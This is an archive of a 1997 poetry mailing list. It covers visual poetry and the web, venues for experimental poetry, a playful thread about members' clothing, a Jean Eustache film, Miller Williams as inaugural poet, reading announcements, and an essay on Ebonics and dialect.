> *By the way, my list in my post was not a comprehensive list of poets doing "visual" work but a specific response to comments of Ron. In any case, I was glad to hear from Miekal And as his and Liz Was's work is quite relevant: many wonderful books etc. But I am sure they, and others like Karl Kempton, could well report something within "poetry" that I am speaking about within the "art world", and this was Charles Alexander's point I believe: poets primarily identified as visual poets publish and exchange work in relatively separate networks than poets doing work close to that but not primarily identified with the "visual". However, here there are MANY crossover points, such as And and Was's Xexoxial and Charles Alexander's own Chax. But often the projects are considered quite separate, even if parallel.*

Reading this discussion on the visual in language continually reminds me of a discussion that Liz & I had with you & Bruce in the early 80s when we tried valiantly to pinpoint you guys on the boundaries of your own experimentations & while there wasnt more of a visual component with typography, layout,

graphics, vispo, book design, interactivity. If I remember correctly the feeling was that you wanted your readers to have the text & nothing but the text so that all attention would be focused appropriately.

Methinks that one of the things that has changed most since those times is the web & its intrincically visual nature, that desk top publishing to produce hard copy is not all that different of an act than producing web content & the multiplicity of intermesh between all possibilities, visual & textual, is only now starting to reveal itself via the electronic broadcast....

hope Im not chirping too much

Miekal

--
@#
Dreamtime Village website: http://net22.com/dreamtime
QAZINGULAZA: And/Was/Wakest website:
http://net22.com/qazingulaza
e-mail for DT & And/Was: [redacted]

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119. robert drake
Re: True North/ND Review
Thu 9 Jan 1997

...
>
>_NDR_ nos. 1 and 2 can be visited at our WEB site:
>http://www.nd.edu/~english/ndr/ndr./htm.
>

that would be:

> http://www.nd.edu/~english/ndr/ndr.htm

and Stephanie Strickland's work can be found at:

> http://www.nd.edu/~english/ndr/strickln.htm

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120. ejoyce
Re: "post lang theory and who's younger than you"
Thu 9 Jan 1997

Mark Wallace's concerns about lack of publishing venues for experimental poetry are valid, but I am wondering if the internet could offer plausible solutions

to this problem. Marking up text and posting it is not difficult or terribly time consuming, and those of us who have access to academic sites can develop web pages extremely inexpensively.

I note that no women have offered up their clothing on this thread. I'm wearing purple leggings, a flannel night shirt and a red zip-up sweatshirt (maybe this is why the women aren't talking!)

Lisa Joyce

↑ Index

121. henry gould
Re: "post lang theory and who's younger than you"
Thu 9 Jan 1997

Seems like the lack or no of publishing venues, like the issue of teaching poetry in degree programs, are symptoms or effects of more general things, like, the question of status or cultural hegemony - who gets invited to the canon balls; or another one, the place of poetry in this culture in general; or another one, related to the first - what is good poetry?

Huh? I think we've hashed these beans before! sd Villon from his comfortable electric chair.

them's big questions! & I'm wearing a cowboy hat over a crewcut, the two-gun holster I won in a drawing (got to be on the show too, "Axel & his Dog, with Roundhouse Rodney", 12 noon every day), denim overalls & a flannel cowboy shirt and no shoes, and are the 60s here yet? - Hank Gould (the youngest of 17)

↑ Index

122. Gwyn McVay
fem poet wear
Thu 9 Jan 1997

I haven't wanted to answer because what I've been wearing is such a cliche, particularly today: black turtleneck, baggy black jeans, black Doc Martens. I mean, it's just too, too.

Gwyn

↑ Index

123. Susan Wheeler
The Visual in Language
Thu 9 Jan 1997

Re those who have been able to give some equivalence to language and to art in their work, an interesting case is Dieter Roth.

Re attire, pjs and socks.

↑ Index

124. tmandel
wearing
Thu 9 Jan 1997

blue button-fly levis bought too small when I went on a diet and told myself to fit into them or suffer the kantbequenchedness

brown leather belt from telegraph ave. artisan (now back to a previously well-worn hole: it's a start)

blue plaid flannel shirt over golden state warriors tee shirt (nostalgie de la boue)

$6.99 quartz watch acquired at 18th/K in DC. Copies $800 Tag Heuer chronograph (file under "Theory")

Fleece vest from stepson's closet (cold basement office)

wool socks: wear'em year 'round. they keep you warm or cool as required.

Vasque snow boots found with my daughters on either side of me on extreme sale in Chicago 4 Januaries ago on a break from sitting with my mom in the hospital as she recovered from pneumonia and was discovered recurrent with the cancer that 3 januaries later she died of crying out "wird niemand mir ein Holznarkose geben?" Holznarkose = wooden narcotic. I.e. "hit me on the head with a hammer; I've had enough." My mother had a grip and a salty sense of humor. A moment after she died (I was in the room) she wore everything, not even herself.

Tom

****
Tom Mandel * 2927 Tilden St. NW
Washington DC 20008 * [redacted]
vox: [redacted] * fax [redacted]
****

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125. Charles Alexander
Re: wearing
Thu 9 Jan 1997

Maria D. writes, "looks like most of you guyz...dress like cowboys."

I haven't heard anyone mention any cowboy boots. And I live where cowboys live, and one wouldn't be caught without her boots.

I think we're talking more of a grunge look here, one some of us have been sporting for 20 years or more

although we do dress up now & then, one way or another

charles

↑ Index

126. Mark Wallace
"*what they ought to*"
Thu 9 Jan 1997

Hi Gwyn McVay:

Everyone here in D.C. is looking forward to your reading at Ruthless Grip Art Project next month (February 8, 7:30 p.m., along with British poet and visual artist John Havelda--consider this an "official" announcement).

Your response to my post yesterday is intriguing--I'm particularly interested in what lurks (as you well know) inside such terms as "an audience who wasn't as familiar with Joan Retallack's work though they ought to be." The issue it raises for me is why exactly they aren't familiar. The most generous reading--and the one you're perhaps implying to some extent--is that for some reason or other, the individuals gathered for Joan Retallack's reading (excepting some members of the company) just had not been familiar with it before, and were they to be familiar with it, they would of course embrace it and be interested, because it is, clearly, incredible poetry.

A more skeptical reading might see, however, a variety of political (on the literary level) reasons for the fact that Joan Retallack's work approaches being unknown (although that is now changing!), whereas Carolyn Forche, who read with her, continues to be one of the most read and well-known poets in the U.S. I'm not interested here in taking up an evaluation of Carolyn's work; some people in what might be termed "avant garde" contexts don't like her poetry at all, others do, and I myself have been impressed with her intellectual, poetic, and political "outreach" in various contexts. But the fact remains that economic, academic and other kinds of resources for poetry are often determined by what Charles Bernstein has called "official verse culture"--a culture that, however

varied, tends to promote some types of poetry at the expense of others. Thus, a more skeptical reading might suggest that an audience gathered at MLA would in great measure not know Joan Retallack's poetry because mainstream poetry presses would for the most part simply not publish Joan's work. Is that situation changing, with her recent books appearing from Wesleyan, etc? Perhaps, and all to the good if it is.

My own sense might be that the truth of the matter lies, in particular cases, somewhat between these more "generous" and "skeptical" poles. Some of the people present at that reading may come to a new appreciation of Joan's work, having been exposed to it. Others may continue to feel that it's not useful work because it doesn't express her emotions directly, talk about personal experiences, etc.

But I would suggest, however, that what people know and what they don't know is often conditioned not simply by their individual tastes, but by what publishing culture (academic, "official verse" and its tenuously financed alternatives) makes available to them. Thus, the issue of who knows what about what becomes ideologically loaded--what people are "exposed" to, and what they will admit as relevant, are conditioned (though not determined) by cultural circumstances.

Mark Wallace

/----------\ |
| | [redacted] "I have not yet begun | |
to go to extremes" | | GWU: |
| http://gwis2.circ.gwu.edu/~mdw | | EPC:
| | http://writing.upenn.edu/epc/authors/wallace | |
_____|

↑ Index

127. MAXINE CHERNOFF
Re: Jean Eustache
Thu 9 Jan 1997

Facets Multimedia in Chicago has a huge and excellent foreign and difficult to find film rental service. Don't know their # or address but a phone call would solve that. They're located on West Fullerton Avenue.

Best,
Maxine Chernoff

On Thu, 9 Jan 1997, Ron Silliman wrote:

> *Tom,*

I wish that I did. Eustache, who was one of Godard's and Truffaut's assistant directors for much of his career, died in his early 40s from cancer, so didn't build up a body of work that ever got marketed as such. I know that he made at least one other feature, although I never got to see it. But maybe somebody has gathered films starring Jean-Pierre Leaud (sp?).

There are a couple of film catalog type places around (one out of Chicago if I recall). In fact, didn't you have one lying around your house in Delaware last fall? I think that Jesse spilled some juice on it.

Both Siskal and Ebert have web sites. Maybe one of them has tips on how to find hard-to-get films. I would sort of expect that.

I must have seen that film 3 times, maybe 5. The scene in which the nurse runs off and J-P follows her and the 3rd woman lies on the mattress on the floor and just listens to a long Piaf number on the record player all the way through was a great lesson to me that I've carried over in my poetry (or tried to), about how art can modulate time and how one feature of great art is to s l o w i t d o w n.

The first time I saw that film I identified with the J-P character totally. The last time, I thought he was an insufferable, narcissistic pig.

I asked Eustache once why the flat owned by the woman who ran the boutique was so devoid of adornment on its walls. It was the one feature in that film that made it seem "unBerkeley," if you know what I mean. He replied that they didn't have money even for posters.

Ron

Date: Wed, 8 Jan 1997 09:05:58 CST
From: [redacted]
Subject: Eustache film

Ron or anyone else -- do you know where one can rent (or otherwise look at) "The Mother and the Whore" an extraordinary film I haven't seen in two decades. I have the idea that it may have somehow exited circulation.

Tom

****

> *Tom Mandel * 2927 Tilden St. NW*
> *Washington DC 20008 * [redacted]*
> *vox: [redacted] * fax [redacted]*
> **********

↑ Index

128. **Gwyn McVay**
Re: "what they ought to"
Thu 9 Jan 1997

Mark,

For what it's worth, Carolyn Forche does use her position in the "official verse culture" to promote experimental poetries and is even, at staid and lumpy George Mason U., teaching a workshop next fall based on experimental poetries and poetics. Indeed, to be as crude as utterly possible about it, double-billing herself with Joan Retallack, which she does frequently, gets Joan readings at staid and lumpy venues exactly like the MLA itself, where more mainstream poets would normally be higher up the list of poets to invite.

And, for what it's worth, about $12.95, I think, Retallack's /Afterrimages/ is on the shelf at my local (ack!) Borders, which also does a surprisingly good job of making available books by Sun & Moon and other, more querzblatz presses.

So I take a positivist view on this one: all we can do is give such work more exposure in whatever ways possible--the small presses deserve a big salute--and in that way try to solve the problem of *how* people know a poet as a poet. Maybe the people who were stunned silent at the MLA will slowly, slowly, start to wonder, and do some investigating for themselves: a reaction of not knowing how to deal with a work is *still* a reaction to it, and one that may lead to an opening for the reader.

Gwyn (thanks for the plug, d00d)

↑ Index

129. **MAXINE CHERNOFF**
Re: wearing
Thu 9 Jan 1997

Instead of telling what we're wearing, we could combine a few recent threads (pardon the pun) and tell what we're signifying or how we're smelling.

Maxine Chernoff

↑ Index

130. **Gwyn McVay**
how we are smelling
Thu 9 Jan 1997

I am smelling only poorly. There was a flu and she had fallen victim to it, which means on the floor at its feet. With breached breath she slightly smelled some incense, which she had lit for her pewter Buddha, half-hoping.

↑ Index

131. **Issa Clubb**
Re: Jean Eustache
Thu 9 Jan 1997

---

re: le maman et la putain

Searching the internet movie database (http://www.imdb.com) leads to this little nugget: http://www.worldnet.net/~mannoni/putain.html, a script in French (annotated to tell you what was left out of the actual film).

The first lines of the script are a pretty good advertisement for the film:

ALEXANDRE. Tu peux me prêter ta voiture ?
VOISINE. Oui, bien sûr. Voilà les clés. Tu sais où sont les papiers.
ALEXANDRE. Oui. Tu n'en as vraiment pas besoin.
VOISINE. Non. Ça va. Tu sais, le clignotant gauche ne marche pas. Alors fais attention. Moi j'ai un
système, je m'arrange pour ne pas tourner à gauche.
ALEXANDRE. D'accord ; merci.

à bientôt,
issa

_____
Issa Clubb
Voyager Art Dept.
mailto:[redacted]

↑ Index

132. **amato**
inaugural poetry...
Thu 9 Jan 1997

---

anybody know anything 'bout miller williams' work?... miller, you out t/here?...

joe

> *Date: Thu, 09 Jan 1997 11:18:42 -0600*
> *Reply-To: [redacted]*
> *Sender: [redacted]*
> *From: David Perkins <[redacted]>*
> *To: [redacted]*
> *Subject: Illinois at the Inauguration!*
> *Mime-Version: 1.0*
> *X-Mailer: Mozilla 3.01 (Win95; I)*
> *X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN*
> *X-UIDL: 258dc7afeadf896b47209ee9c6d715cb*
>
> *Friends--*
> *Just wanted to share a bit of good news. One of our poets, Miller Williams, has been asked to write and deliver the Inaugural Poem at Clinton's Inauguration ceremonies on January 20th. We had a new collection of his poetry due out in Fall of '97, but under the circumstances decided to move the release of the collection (THE WAYS WE TOUCH) up and include the inaugural poem in the collection. We've designed a special, limited commemorative edition (gorgeous!) to start arriving in bookstores shortly after the inauguration (that first printing is already sold out)--with a regular cloth edition immediately in the works. You can't imagine the flurry of activity down here in the quiet amidst the corn- and soybean-fields. We have more information about Williams and the collection on our Website (address below). Some fun, huh?!*
>
> *--*
> *David M. Perkins*
> *Director of Marketing*
> *UNIVERSITY OF ILLINOIS PRESS*
> *e-mail: [redacted]*
> *UIP Website: http://www.uiuc.edu/providers/uipress*

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133. Charles Alexander
Re: Language in the Visual
Thu 9 Jan 1997

> *Methinks that one of the things that has changed most since those times is the web & its intrincically visual nature, that desk top publishing to produce hard copy is not all that different of an act than producing web content & the multiplicity of intermesh between all possibilities, visual & textual, is only now starting to reveal itself via the electronic broadcast....*

also, I think, Miekel, that the longer poets are poets they have a better acceptance of the fact that they are going to have to be involved not only with the

text but with the means of getting that text to an audience. No big publishers are simply going to do it for them, at least for almost all of them. And many times this leads to an intertwining of mode of production with the text being produced, leading some of us to create works which engage in the relationship of text to visual/structural formats, in ways you have done, or in ways I have done, or in any of other myriad ways. It has also led many to an interest/appreciation in such production even when they have not engaged in it themselves. And now the web and other electronic possibilities are causing a new explosion in such possibilities.

but I have never thought of Bruce & Charles as specifically disregarding the visual/tactile/structural presentation of texts as irrelevant in any way. I have rather always thought of those two as quite conscious that one never has "just the text." Either we have a physical artifact in our hands or in some way in front of us, or we have memory. At one time I became quite troubled by the life of books, their existence as closed & unused objects for probably 99% of their existence. But of course once one has experienced a book, it is always there, as memory.

charles alexander

↑ Index

134. Peter Landers
Re: wearing
Thu 9 Jan 1997

> *Maria D. writes, "looks like most of you guyz...dress like cowboys."*
>
> *I haven't heard anyone mention any cowboy boots. And I live where cowboys live, and one wouldn't be caught without her boots.*

i look down at my feet ... uh-oh :)
i hope this doesn't make me a cowboy poet!

Pete

↑ Index

135. Pritchett,Pat
Re: inaugural poetry...
Thu 9 Jan 1997

Who's gotten the nod this time? I haven't heard...

As far being "sanctified" by the State, I think it's something to be avoided. Poetry and politics make for very uneasy bedfellows in my opinion, though admittedly it's a complicated issue when we get into matters of federal funding for the arts, etc.

I still remember how I cringed when Richard Wilbur was "laureate" and came out with that excerable cantata, "On Freedom's Ground." It was the same year that the disclosure was made about the Defense Dept. drafting a white paper for the invasion of Nicaragua.

In other words, poetry that's used to celebrate the State in an official ceremony willy-nilly incurs for the poet involved a certain degree of complicity when it comes to matters of policy. What would be refreshing - and highly unlikely - would be to see a poet who read a critique of the Administration's policy toward Bosnia, gays, medicinal marijuana and the like.

Patrick Pritchett

From: Matthias Regan
To: POETICS
Subject: Re: inaugural poetry...
Date: Thursday, January 09, 1997 3:53PM

>anybody know anything 'bout miller williams' work?... miller, you out t/here?...
>
>joe

I don't know miller williams' work but if here or anyone else watching knows just how one ends up getting picked to read the inagural poem, I'd like to know. I mean, is it all connections or is it that you happen to be on the reading list of the president-(re)elect? Or are their certain codified criteria? What does the list think? What does a poet do or not do these days to be sanctified (maybe not the right word) by the state?

Matthias

Matthias Regan
Northwestern University
Department of Chemistry
Phone: 847/[redacted]

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136. Matthias Regan
Re: inaugural poetry...
Thu 9 Jan 1997

>anybody know anything 'bout miller williams' work?... miller, you out t/here?...
>
>joe

I don't know miller williams' work but if here or anyone else watching knows just how one ends up getting picked to read the inagural poem, I'd like to know. I mean, is it all connections or is it that you happen to be on the reading list of the president-(re)elect? Or are their certain codified criteria? What does the list think? What does a poet do or not do these days to be sanctified (maybe not the right word) by the state?

Matthias

Matthias Regan
Northwestern University
Department of Chemistry
Phone: 847/[redacted]

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137. robert majzels
Readings Announcement Montreal
Thu 9 Jan 1997

In case anyone is wandering through Montreal in winter:

Two evening readings (8pm) will be held at Bistro 4 (Saint-Laurent Boulevard corner Duluth) in Montreal: Gail Scott will be reading on February 7 and Erin Moure, Robert Majzels and Lola Lemire Tostevin will read on February 8th. Attendance is free and open to the public.

The readings are part of a weekend workshop to be held from February 7th to 9th, 1997 by No fixed adDress, a Montreal workshop exploring new writing practices. Applications to participate in the workshops are welcome until January 18.

For more information, contact:

> No fixed adDress Workshop
> coordinator Lazer Lederhendler
> C.P. 47620, Plateau Mount-Royal
> Montreal, QC, H2H 2S8

phone or fax: [redacted] (9-5 weekdays only)
e-mail: [redacted].

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138. David Bromige
smelling
Thu 9 Jan 1997

---

a word of warning.

: when you're smelling. . .

yes when you're smelling . . .

the whole world smells with you!

↑ Index

139. John E. Matthias
True North/ND Review
Thu 9 Jan 1997

Stephanie Strickland's _True North_, the first winner of the Ernest Sandeen Poetry Prize, will be published next week by the University of Notre Dame Press. I think the book will be of great interest to readers on the list. Many people will know Strickland's previous book, _The Red Virgin: A Poem of Simone Weil_, which won the University of Wisconsin's Brittingham Prize in 1993. Molly Peacock describes _True North_ as writing "that sweeps text into hypertext" and Strickland as a poet who "tumbles her cornucopia of ideas and ideals out into what we might giddily call cyberpoetry--though she herself is calm, piercingly intelligent, and clear-eyed. Here comes our poetry for the 21st Century--and a brilliant poet who appears at just the right moment to be our guide." Sections of this book dealing with the life and physics of Willard Gibbs were chosen by Barbara Guest for the Poetry Society of America's 1996 Alice Fay Di Castagnola Award.

Available at $14.95 from University of Notre Dame Press
Chicago Distribution Center
11030 South Langley Ave.
Chicago, IL 60628

I should also announce that the third issue of _Notre Dame Review_ is now in print. Contributors include Michael Anania, Mike Barrett, William Bronk, Kathy Fagan, Beth Ann Fennelly, Reginald Gibbons, Heather O'Shea Gordon, Jennifer Anna Gosetti, Corrinne Hales, Philip Holmes, Janet Holmes, Catherine L. Kasper, John Latta, Bret Lott, Cris Mazza, Gordon T. Osing, Robert Pinsky, Ira

Sadoff, Hillel Schwartz, Michael Stephens, Richard Tillinghast, Linda Vavra, John Witte, and David Wojahn.

Single copy price is $8.00; subscription $15.00.
Order from: _Notre Dame Review_, Department of English, University of Notre Dame, Notre Dame, IN 46556. Publication is bi-annual.

NDR nos. 1 and 2 can be visited at our WEB site:
http://www.nd.edu/~english/ndr/ndr./htm.

Contributors to #1:Michael Anania, William Bronk, Julia Budenz, Michael Collins, Christopher Jane Corkery, Richard Elman, Jaimy Gordon, Mary Hawley, Seamus Heaney, Marilyn Krysl, Denise Levertov, Derek Mahon, Peter Michelson, Czeslaw Milsoz, Susan Neville, John Peck, Ernest Sandeen, Melita Schaum, Beryl Schlossman, Marci Sulak, Anthony Walton, David Wolinsky, Robert Olen Butler.

Contributors to #2: Renee Ashley, Wendy Battin, David Black, Corinne Bliss, Fred Chappell, Stuart Dischell, Richard Elman, Edward Falco, David Katz, Jesse Lee Kercheval, Marilyn Krysl, Konstantinos Lardas, Gus Pelletier, Michael Perkins, Goran Printz-Pahlson, Barry Silesky, Stephanie Strickland, Kymberley Taylor, James Weil, Kathleen West.

Sample copy price for #1 or #2: $6.00.

John Matthias

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140. David Bromige
inaugural poet
Thu 9 Jan 1997

---

i myself am quite chagrined at the choice of miller williams to be the inaugural poet. i had laid several bets--on any one of the following four: robert grenier, charles bernstein, lyn hejinian and hannah weiner--and have dropped quite a bundle, let me tell you. i also thought i myself might get the nod, but figured there'd be so much income from residuals that it would easily cover my losses. actually, for a long time i figgered george bowering should do it, but then i found that canada isnt technically one of the united states. damn! ah well--I'm sure it'll be someone on this list's turn by 2000.culture is a trickledown effect. they asked frost in '62 and would have asked pound in '76 if he'd still been alive. david b

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141. Matthias Regan
Re: inaugural poetry...
Thu 9 Jan 1997

> *Who's gotten the nod this time? I haven't heard...*

miller williams apparently: I just saw it in a recent post of the same
title as yours & mine
>
>As far being "sanctified" by the State, I think it's something to be
>avoided. Poetry and politics make for very uneasy bedfellows in my opinion,
>though admittedly it's a complicated issue when we get into matters of
>federal funding for the arts, etc.
[snip]

What would be refreshing -
>and highly unlikely - would be to see a poet who read a critique of the
>Administration's policy toward Bosnia, gays, medicinal marijuana and the
>like.

O, (nodding) I agree. & such critiques are not I think easy to write--largely because of what we belive constitutes "poetry" (ie, not always "individual" voice and "the big picture" but usally at least one of these Romantic conceits is regarded as necessary; and of course these are not necessarily Romantic, going back at least as far as Sidney's "Defense..." But then again, some of the 15th & 16th C. poets wrote beautiful political poems: Wyatt, Raleigh--they weren't always towing the state line either & consequenes could be serious (the block) Still, I continue to wonder just how such things are decided these days. Can anyone name the last five inagural poets; maybe some conclusions may be drawn.

Matthias (scribbling at the far edge of the work day)

Matthias Regan
Northwestern University
Department of Chemistry
Phone: 847/[redacted]

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142. Schuchat Simon
Re: inaugural poetry...
Thu 9 Jan 1997

Whoa!

Don't know Miller Williams' own poetry, but he is the translator of great Chilean antipoet Nicanor Parra. He teaches at the U of Arkansas, I believe, which would explain his selection.

↑ Index

143. **Rachel Loden**
Re: inaugural poetry
Thu 9 Jan 1997

I think Miller Williams is the guy who taught Jimmy Carter how to write poetry. Not quite an actionable offense, but maybe it weighs heavily on his conscience.

Nah.

Rachel

↑ Index

144. **Ian Wilson**
**** * * READING * * ****
Thu 9 Jan 1997

I'd to to announce and invite you all to the following:

* * * * READING IN LOS ANGELES * * * *

Ian Randall Wilson
Denise L. Stevens

Saturday, January 25, 1997

8 PM

Barnes & Noble Bookstore
16461 Ventura BlvdEncino, CA (818)
[redacted]
(corner of Havenhurst and Ventura Blvd.)

--Open Reading at 7:30 / sign-ups 7:15

Ian Wilson
[redacted]

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145. **Ian Wilson**
Re: * * * READING * * *
Thu 9 Jan 1997

I'd like to announce and invite you all to the following:

* * * * READING IN LOS ANGELES * * * *

Ian Randall Wilson
Denise L. Stevens

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(corner of Havenhurst and Ventura Blvd.)

--Open Reading at 7:30 / sign-ups 7:15

Ian Wilson
[redacted]

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146. **Fred Muratori**
Re: inaugural poetry...
Thu 9 Jan 1997

> *Whoa!*
>
> *Don't know Miller Williams' own poetry, but he is the translator of great Chilean antipoet Nicanor Parra. He teaches at the U of Arkansas, I believe, which would explain his selection.*

Yes, the poet's home state has much to do with the choice. Remember when Jimmy Carter asked his state-mate James Dickey to write an inaugural poem? It was called "The Strength of Fields," and was read at an event held after the oath of office was taken. Not too many people were aware of it unless they read the poem in the NY Times the next day. I frankly don't care who reads an inaugural poem -- I'm just glad to see that now and then a president will actually call some national attention to the art, however obliquely. You'd be surprised at how many people think that all poets are dead.

Fred Muratori
Reference Services Division
Olin - Kroch - Uris Libraries
Cornell University
[redacted]
http://fmref.library.cornell.edu/spectra.html

****

"The spaces between things

keep getting bigger
and more important"

-- Jon Ashbery
****

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147. **Carla Billitteri**
Re: inaugural poetry...
Thu 9 Jan 1997

> *Don't know Miller Williams' own poetry, but he is the translator of great Chilean antipoet Nicanor Parra. He teaches at the U of Arkansas, I believe, which would explain his selection.*

Not only that, he's the father of Lucinda Williams--I'd take her records over any ten books of poetry in Bill Clinton's America. (Antipoetry excepted.)

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148. **David Kellogg**
Re: inaugural poetry...
Thu 9 Jan 1997

I _think_ Miller Williams is from Arkansas . . .

Cheers,
David
~~~
~~~

At present I'm neither

smelting nor smelling

At 05:06 PM 1/9/97 -0500, you wrote:
>a word of warning.
>
>: when you're smelling. . .
>
> yes when you're smelling . . .
>
>the whole world smells with you!
>
>

↑ Index

150. Christopher Alexander
Re: inaugural poetry...
Thu 9 Jan 1997

---

ethink you hav t be from Arkansaw. -sas.
ethought all poets *were* dead.

no on se2cnd thought d go with th "codifed criteria."

david bromige: y mean you didnt get pickt? damn, an eput
in th solid word fr you ,my man. em really shockdt at theis.
"god love a goose." howd y liek t read in 2000? er eve got a
gret gig lined up at t Ugandan prime m,inisters ball--hets a
smaller event, but--
..
christopher alexander, etc.
[redacted]

"The second edition of this book consists
largely of a reproduction of the first edition,
with additional theorms and examples."
  --T.M. Macrobert, _an introduction to the
        theory of infinite series_

↑ Index

151. Christopher Alexander
wereing
Thu 9 Jan 1997

oh yss--and smellng like a rose.
&nd signifyng nothing.
& wearing--thin.
..
christopher alexander, etc.
[redacted]

"The second edition of this book consists
largely of a reproduction of the first edition,
with additional theorms and examples."
--T.M. Macrobert, _an introduction to the
theory of infinite series_

↑ Index

152. Herb Levy
Re: Eustache film
Thu 9 Jan 1997

According to the folks at Scarecrow Video (a local independent rental place with a great collection of tapes and laser discs from Eisenstein to Gary Hill), who I'd trust on an issue like this, The Mother & the Whore has not been released on video, even in France. I did just rent Cassavetes _Love Streams_ from them which I try to see at least once a year.

I haven't checked in on this mail box for a while. It's nice to see that a jokey aside can be taken up by someone new to the list who was unaware of the original reference (Hi David) and become a new part of the protocol here. (If I were filch I'd think this was a meme.)

I'm wearing a black, sort of chenille-like sweater over a red Band of Susans t-shirt, black corduroy pants, & I'm barefoot (my basement is heated).

Bests,

Herb

> *Ron or anyone else -- do you know where one can rent (or otherwise look at) "The Mother and the Whore" an extraordinary film I haven't seen in two decades. I have the idea that it may have somehow exited circulation.*
>
> *Tom*

Herb Levy
[redacted]

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153. **steph4848**
Ebonix? Part 2.
Thu 9 Jan 1997

(Part 2- Ebonics?)

Yesterday, for example, I was teaching with another writer, Margaret O'Schultz at the local Youth Guidance Center - "a correctional facility." We were in what was considered the toughest ward - 13 young men, many of whom I was later told, had committed murders, rapes, and armed robberies, etc. Margaret wrote the word MALE up on the blackboard and asked these students to create a "slang dictionary." One black guy jumped up, took the chalk and quickly jotted out fifteen different names which Margaret then asked him to divide between "positive" (partna, playa, nigga etc.) and "negative" (mark, snitch, etc.). Then there were words that sat in the middle like "street-sweeper" which I imagined to be a guy who was the ultimate drive-by gang killer.

Within this group, particularly among the blacks, there was competition, argument and great pride in being able to come up with all these different words. When I sat down to work with their writing, several of the young men showed me their journals, freely said that they were poets, and gladly shared their poems with me, most of them in a rap mode. Except when I heard the depth of the pathos in the work -- the references to murdered brothers, cousins and uncles, the re-enactments of revenge, or second thoughts about misconceived and terrible acts, the loneliness of prison, "Not 'Rest in Peace'" someone said. "Rest in Pain", I temporarily thought this prison ward was a haven for poets and poetry.

But my point about the dialect, black, Latino or Asian -- a point which has been demonstrated many times before by persons much more savvy than I -- is that these words and phrases, often forged from extreme experiences, will alter the grammar and dictionary of "standard English." I fully suspect, for example, in the not too far future, "street-sweeper" will be appropriated by the Army or Marines to name some demonic piece of killer machinery. Or, for example, another young man used the phrase "he's stacked" and explained it was about a dealer who carries large amounts of money. In another few years I can almost expect a President with a happy face to tell us not to worry, "the economy is stacked", or, on a contrary note, someone will say "the USA has lost its "stack." I don't mean to sound overly cynical about the way these words from dialect might evolve. Like most anything else, they will wear out. At the point of origin, however, the expressions are fresh and powerful. In both of these examples

there's a highly loaded oxymoronic quality to their use. The terrible sound and cleaning function of an actual street-sweeper makes a terrifying counter-point to the sound of a machine gun fired repeatedly from a car moving slowly through a neighborhood while the gunner attems to clean out a rival gang. A man who is "stacked" with money conjures up real cash in bundles, rather than the non-tactile, abstract electronic transmissions of digital money.

I find that the material of dialect to be rich and resonant - maybe in manner similar that I also find the language of Chaucer, Donne and other English writers of previous periods. I also know that whether called Ebonics, black English, or a dialect -- these words, phrases and intonations compel me to hear and see things that are variously provocative, beautiful, and sometimes right on the edge of volatile. The manner of use, which can border on a form of implicit preaching or public criticism, pushes me to listen to messages that all is not "proper" or "standard" in the world. And even though I'm alternatively fascinated and resistant -- not everything survives coming "over the pass" --I'm sure these provocation's test, feed and ultimately enlarge the vitality of the English language as well as all of our selves. **********

Stephen Vincent

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154. **steph4848**
Ebonix? - Part #1
Thu 9 Jan 1997

Dear List - I'm curious - given the strong interest in language here - why not attention has been focused on debate and issues of so-called Ebonics. In any case, I've written arelative short piece -- which I've broken into two posts -- about some of my thoughts and experiences here. I will appreciate your responses and critical feedback, responses.
Thank you,
Stephen Vincent
[redacted]

Ebonics

I find it astonishing the way in which people in this country become absolute experts on this issue of the appropriate or inappropriateness of black dialect. I wonder what would happen if all the sudden experts took equal concern and attention to issues of black housing, schools, jobs etc!

It's amazing -- on the other hand -- how this issue of language pops the buttons. I suspect it goes down to the whole love/hate relationship between proper English and black dialect - the latter obviously often feeding the former. The

ultimate mainstreaming of the word "cool", for example - let alone the influence of black dance and other mediums in shaping and contributing to much of the cultural fabric.

Thirty years ago -- when I was in the Peace Corps -- I saw a somewhat similar argument from Euro/American university educated Nigerians. Many of them couldn't stand both the American and European lionization of Amos Tutwola's(Sp?) novels that were written in what was really a gentrified pidgin English. It wasn't that "the educated" were adverse to speaking pidgin - it was definitely a vital lingua franca that worked to cross both class and "the borders" of over 250 different indigenous language groups. Among this elite, Wole Soyinka clearly had no problem incorporating pidgin into his plays and novels. Pidgin's constant sense of poetic play with proper English made a rich satirical device for dissing the masters, African or foreign. But as a matter of creative writing, critical discussion, or any kind of public discourse in English--let alone issues of learning "proper English" as a means of both participating and competing in a global market place-- there was no question among people similar to Soyinka that to speak or write only in pidgin English would serve only to perpetuate colonialized relationships. At the same time I suspect pidgin English has become an area of formal study and significance..

Clearly, and perhaps similarly, in the context of the United States, it seems universally important - both from a human and educational point of view - for an English based system to acknowledge the distinct character of a "black English", or Chinese, Chicano and all the other dialect variations that may occur when these various linguistic systems collide with "standard" English. From a teaching point of view, I think it ought to be a two way street. The English teacher can use the knowledge of dialect to differentiate between different ways of saying similar or, perhaps, oppostional things. Such comparisons are a useful tool and, in a teaching context, can provide a decent acknowledgment of linguistic as well as other kinds of differences. Yet, at the same time, I think it equally important that those given the task of teaching "standard English" acknowledge that dialects have and will continue to end up contributing anything from a slight tonal nuance to a substantial change to what is considered "standard English." And such a point of view should be anything but a condescending gesture..

(cont. to Part #2 on separate post).

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155. **wystan**
Re: EyeRhymes Conference
Fri 10 Jan 1997

Dear Douglas,

New Year Greetings!

Is it too late to make a paper proposal for the Eyerhymes conference? I'm interested in the similarities/ differences between the work of conceptual artists like the Americans Lawrence Weiner, Joseph Kosuth, and Jenny Holzer and the British artist Hamish Fulton, David Tremlett and language poets (taking a pretty broad definition) of this grouping. If its not too late I'll put together a rather tighter and longer paragraph than this.

best wishes,

Wystan

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156. **Tenney Nathanson**
really?
Fri 10 Jan 1997

---

is this true???

i doan mean the evaluation jus the bare fac.

I'd like to hear "Passionate Kisses" at the inauguration!!!

t.

> *Date: Thu, 9 Jan 1997 19:41:02 -0500*
> *From: Carla Billitteri <[redacted]>*
> *Subject: Re: inaugural poetry...*
>
> *Don't know Miller Williams' own poetry, but he is the translator of great Chilean antipoet Nicanor Parra. He teaches at the U of Arkansas, I believe, which would explain his selection.*
>
> *Not only that, he's the father of Lucinda Williams--I'd take her records over any ten books of poetry in Bill Clinton's America. (Antipoetry excepted.)*

---

tenney nathanson

[redacted]

http://www.u.arizona.edu/~nathanso/

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157. Patrick Foley
Re: inaugural poet
Fri 10 Jan 1997

